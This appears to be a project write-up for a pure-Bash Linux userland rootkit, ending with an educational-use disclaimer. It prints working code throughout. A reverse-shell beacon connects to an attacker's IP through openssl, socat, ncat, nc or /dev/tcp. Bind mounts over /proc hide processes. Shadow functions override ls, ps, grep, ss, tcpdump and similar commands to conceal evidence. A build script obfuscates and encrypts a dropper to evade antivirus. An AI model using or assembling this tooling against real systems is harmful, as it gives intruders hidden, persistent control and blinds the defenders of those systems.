Living off the land: a pure-Bash userland rootkit — no compiled binaries, no kernel modules. Persists as an encrypted reverse-shell beacon, hides its own PID, and shadows common system commands to blind the defender using only tools already on the box._
A fully self-contained userland rootkit written in pure Bash — no compiled code, no kernel exploits. Everything runs using tools already present on a stock Linux system. Pure living off the land.
Three layers: a beacon that maintains a persistent
reverse shell with a full connection fallback chain, shadowed
shell functions that masquerade as real Linux commands, and
THC Bincrypter for in-memory-only execution.
Everything is assembled by a single ./setup.sh into a ready-to-serve
dropper.sh.
Loops forever, reconnects on disconnect. Process name spoofed to look like a kernel worker thread.
Bind-mounts an empty /dev/shm dir over the process's own /proc/PID entry.
Overrides ls, ps, grep, mount, tcpdump and more — filtering out all evidence.
After Bincrypter obfuscation, the script decrypts and executes entirely in memory.
Everything is assembled by a single script. Prompts for IP and PORT, patches all
templates, obfuscates the functions, encrypts the beacon, and outputs a single
ready-to-serve dropper.sh.
Copies *.blank templates and sed-patches IP, PORT, and persistence
path into real_beacon and final_functions.
function_obfuscater.sh hex-encodes the shadow functions into
shuffled MD5-length variable chunks, injected at the EFUNCTIONS
marker in dropper.sh.
THC Bincrypter encrypts real_beacon, base64 embeds it at the
MFUNCTIONS marker. In-memory execution only — no cleartext on disk.
# Patch templates sed -i "s/IP/$IP/g" real_beacon sed -i "s/PORT/$PORT/g" real_beacon sed -i "s/PORT/$PORT/g" final_functions sed -i "s/PATH/$Path/g" final_functions # default: /usr/lib64/libda-5.3.so # Obfuscate functions → inject at EFUNCTIONS marker ./function_obfuscater.sh "userIDs" 18 "final_functions" "y" "m" "2" > /tmp/obf_out.txt sed -i "/EFUNCTIONS/r /tmp/obf_out.txt" dropper.sh sed -i "/EFUNCTIONS/d" dropper.sh # Encrypt beacon → base64 → inject at MFUNCTIONS marker cp real_beacon bad && ./bincrypter.sh bad base64 bad > /tmp/obf_out.txt awk ' FILENAME == "/tmp/obf_out.txt" { obf = obf $0 "\n"; next } { gsub(/MFUNCTIONS/, obf); print } ' /tmp/obf_out.txt dropper.sh > /tmp/result.sh && mv /tmp/result.sh dropper.sh # Serve it python -m http.server 8080 curl <ip>:8080/dropper.sh -O
The core loop. Hides every spawned PID via mtab(), uses a randomized
named pipe in /dev/shm, and tries each available connection tool in order —
working on almost any stock Linux system without extra packages.
PIPE="/dev/shm/.cache_$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 8)" mkfifo "$PIPE" if command -v openssl &>/dev/null; then ( /bin/bash < $PIPE 2>&1 | openssl s_client -quiet -connect $IP:$PORT > $PIPE ) & elif command -v socat &>/dev/null; then ( socat OPENSSL:$IP:$PORT,verify=0 EXEC:/bin/bash ) & elif command -v ncat &>/dev/null; then ( /bin/bash < $PIPE 2>&1 | ncat --ssl $IP $PORT > $PIPE ) & elif command -v nc &>/dev/null; then ( cat $PIPE | /bin/bash 2>&1 | nc $IP $PORT > $PIPE ) & else ( /bin/bash >& /dev/tcp/$IP/$PORT 0>&1 ) & # pure bash fallback fi pid=$! pids="$pid $(pgrep -P $pid)" for i in $pids; do mtab $i; done
Cleanup via trap on EXIT / SIGINT / SIGTERM — unmounts all
/dev/shm bind-mounts and kills background jobs on demand.
Every common detection tool is overridden with a Bash function that calls the real binary
but pipes output through grep -Ev "$_HG_P" — stripping any line matching
the rootkit's fingerprint pattern. Tab-completion is preserved via $COMP_LINE
checks. The persistence path and C2 port are patched into _HG_P by
setup.sh at build time.
| Command | Technique | What it hides |
|---|---|---|
| busybox | Subcmd router | Routes all subcommands through hooked functions — defeats busybox-as-clean-binary bypass |
| ls | Bash fn + -I flags | Hidden files & empty /proc entries for masked PIDs |
| ps / pgrep / top / htop | Mounted over by mtab() | Rootkit processes |
| grep / head / tail / cat | Pipe ∣ grep -Ev $_HG_P | Any line containing rootkit indicators |
| mount / findmnt | Output filter | /proc and /dev/shm bind-mounts |
| tcpdump | Auto-inject BPF filter | C2 port from all captures |
| ss / netstat | Pattern-filtered output | C2 port connection |
| lsof / strace | Pattern-filtered output | Open FDs and syscalls related to the beacon |
| set / declare / typeset | AWK block-skip parser | Shadow function definitions from variable dumps |
| env / printenv / export | AWK + grep filter | _HG_P env var & BASH_FUNC_* exports |
| type / which | Hardcoded case statements | Returns fake binary paths for shadowed commands |
| unset / builtin | Guard wrapper | Silently fails if called against any hooked function |
# Port and persistence path patched in by setup.sh command export _HG_P="grep|ps|mount|PORT|/proc/|hidepid|PATH|..." grep() { [[ -n "$COMP_LINE" ]] && { command $(which grep) "$@"; return; } command $(which grep) "$@" | _filter_output } # Absolute path calls also intercepted — registered at load time for cmd in grep ls mount ss netstat tcpdump ...; do path=$(which $cmd) eval "function $path { $cmd \"\$@\"; }" done # busybox — routes subcommands through hooked functions busybox() { local subcmd="$1"; shift for w in grep ls mount ss netstat ...; do [[ "$subcmd" == "$w" ]] && { "$subcmd" "$@"; return; } done command busybox "$subcmd" "$@" }
Two tools handle obfuscation. function_obfuscater.sh converts the shadow
functions into shuffled MD5-length hex variable chunks — a static scan sees hash-like
noise and a generic loader one-liner. The beacon is packed with
THC Bincrypter:
encrypted, compressed, and base64-embedded into dropper.sh.
Hex-encoded and split into 32-char chunks resembling MD5 update variables. Shuffled. Reassembled at load time via xxd -r -p.
Bincrypter wraps the beacon in a self-decrypting stub. Cleartext payload lives only in RAM — no forensic disk image recovers it.
Bincrypter produces a different signature on every run, defeating static AV detection.
Tested locally against common tools. All three layers active during testing.
Tested on a local Kali VM. Process hidden from ps, top, htop. Connection invisible to ss, netstat, tcpdump.
All three layers confirmed working on a CentOS 7 system.
Not detected on either system.
⚠ This project is shared strictly for educational and research purposes. Understanding offensive techniques is essential for building robust defences. Do not deploy this on any system you do not own or have explicit written permission to test. The author assumes no liability for misuse.